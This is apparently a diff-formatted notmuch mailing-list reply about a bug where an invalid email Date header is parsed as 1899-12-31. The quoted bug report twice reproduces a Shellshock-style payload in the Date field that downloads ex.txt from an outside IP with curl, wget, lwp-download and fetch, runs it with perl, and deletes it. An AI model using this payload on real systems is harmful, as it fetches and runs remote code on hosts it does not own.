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+From: Tomi Ollila <tomi.ollila@iki.fi>\r
+To: Johannes Schauer <j.schauer@email.de>, notmuch@notmuchmail.org\r
+Subject: Re: bug: notmuch cannot handle invalid Date fields\r
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+On Wed, Apr 22 2015, Johannes Schauer <j.schauer@email.de> wrote:\r
+\r
+> Hi,\r
+>\r
+> I recently received an email with the following date field (the value of all\r
+> other headers is the same):\r
+>\r
+> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;\r
+>\r
+> When doing `notmuch search lwp-download` I get:\r
+>\r
+> thread:000000000001ea6b 1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)\r
+>\r
+> You can see that the date is 1899-12-31 which is wrong.\r
+>\r
+> This is annoying because the python module datetime which is for example used\r
+> by the notmuch client alot cannot handle dates before the year 1900 and will\r
+> thus never show this email in its thread view but instead display an exception\r
+> every time the view is refreshed.\r
+\r
+What do you mean by that datetime cannot handle dates before 1900 ?\r
+\r
+: $ python\r
+: Python 2.7.6 (default, Mar 22 2014, 22:59:56)\r
+: ...\r
+: >>> datetime.datetime.strptime('1799-11', '%Y-%m')\r
+: datetime.datetime(1799, 11, 1, 0, 0)\r
+: >>> x=datetime.datetime.strptime('1799-11', '%Y-%m')\r
+: >>> x.isoformat()\r
+: '1799-11-01T00:00:00'\r
+\r
+Tomi\r
+\r
+\r
+> It would be great if an invalid date could either somehow default to a nil\r
+> value or be a date that is 1900 or later.\r
+>\r
+> Thanks!\r
+>\r
+> cheers, josch\r